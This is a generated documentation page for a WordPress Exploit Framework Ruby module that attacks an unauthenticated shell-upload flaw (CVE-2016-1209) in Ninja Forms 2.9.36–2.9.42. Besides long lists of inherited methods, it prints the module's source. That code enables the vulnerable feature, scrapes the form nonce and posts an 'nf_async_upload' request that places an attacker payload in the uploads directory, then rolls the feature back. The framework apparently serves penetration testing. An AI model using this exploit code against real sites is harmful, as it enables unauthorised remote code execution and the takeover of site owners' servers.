Class: Wpxf::Exploit::NinjaFormsUnauthenticatedShellUpload

Inherits:
Module
  • Object
show all
Includes:
WordPress::ShellUpload
Defined in:
lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary collapse

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::ShellUpload

#execute_payload, #expected_upload_response_code, #payload_name, #payload_name_extension, #possible_payload_upload_locations, #run, #timestamp_range_adjustment_value, #upload_request_params, #upload_result, #upload_timestamp_range, #validate_upload_result

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #exploit_module?, #missing_options, #run, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ NinjaFormsUnauthenticatedShellUpload

Returns a new instance of NinjaFormsUnauthenticatedShellUpload.



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 6

def initialize
  super

  update_info(
    name: 'Ninja Forms 2.9.36 to 2.9.42 Unauthenticated Shell Upload',
    author: [
      'James Golovich', # Discovery and disclosure
      'rastating'       # WPXF module
    ],
    references: [
      ['CVE', '2016-1209'],
      ['WPVDB', '8485'],
      ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
    ],
    date: 'May 04 2016'
  )

  register_options([
    StringOption.new(
      name: 'form_path',
      desc: 'The relative path of the page that hosts any form served by Ninja Forms',
      required: true
    )
  ])
end

Instance Attribute Details

#ninja_form_nonce ⇒ Object (readonly)

Returns the value of attribute ninja_form_nonce.



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 82

def ninja_form_nonce
  @ninja_form_nonce
end

Instance Method Details

#before_upload ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 59

def before_upload
  # Enable the v3 functionality.
  emit_info 'Enabling vulnerable V3 functionality...'
  execute_get_request(url: full_uri, params: { 'nf-switcher' => 'upgrade' })

  # Fetch a nonce for the upload.
  emit_info 'Fetching Ninja Form nonce...'
  unless fetch_ninja_form_nonce
    emit_error 'Failed to acquire a valid nonce'
    emit_error "Ensure that #{normalize_uri(full_uri, datastore['form_path'])} contains a valid form"
    return false
  end
  emit_success "Nonce acquired: #{ninja_form_nonce}", true

  super
end

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 32

def check
  check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
end

#cleanup ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 76

def cleanup
  # Disable the v3 functionality.
  execute_get_request(url: full_uri, params: { 'nf-switcher' => 'rollback' })
  super
end

#fetch_ninja_form_nonce ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 52

def fetch_ninja_form_nonce
  res = execute_get_request(url: normalize_uri(full_uri, datastore['form_path']))
  return false unless res && res.code == 200
  @ninja_form_nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
  @ninja_form_nonce
end

#payload_body_builder ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 40

def payload_body_builder
  builder = Utility::BodyBuilder.new
  builder.add_field('action', 'nf_async_upload')
  builder.add_field('security', ninja_form_nonce)
  builder.add_file_from_string(Utility::Text.rand_alpha(5), payload.encoded, payload_name)
  builder
end

#uploaded_payload_location ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 48

def uploaded_payload_location
  normalize_uri(wordpress_url_uploads, "nftmp-#{payload_name.downcase}")
end

#uploader_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/ninja_forms_unauthenticated_shell_upload.rb', line 36

def uploader_url
  wordpress_url_admin_ajax
end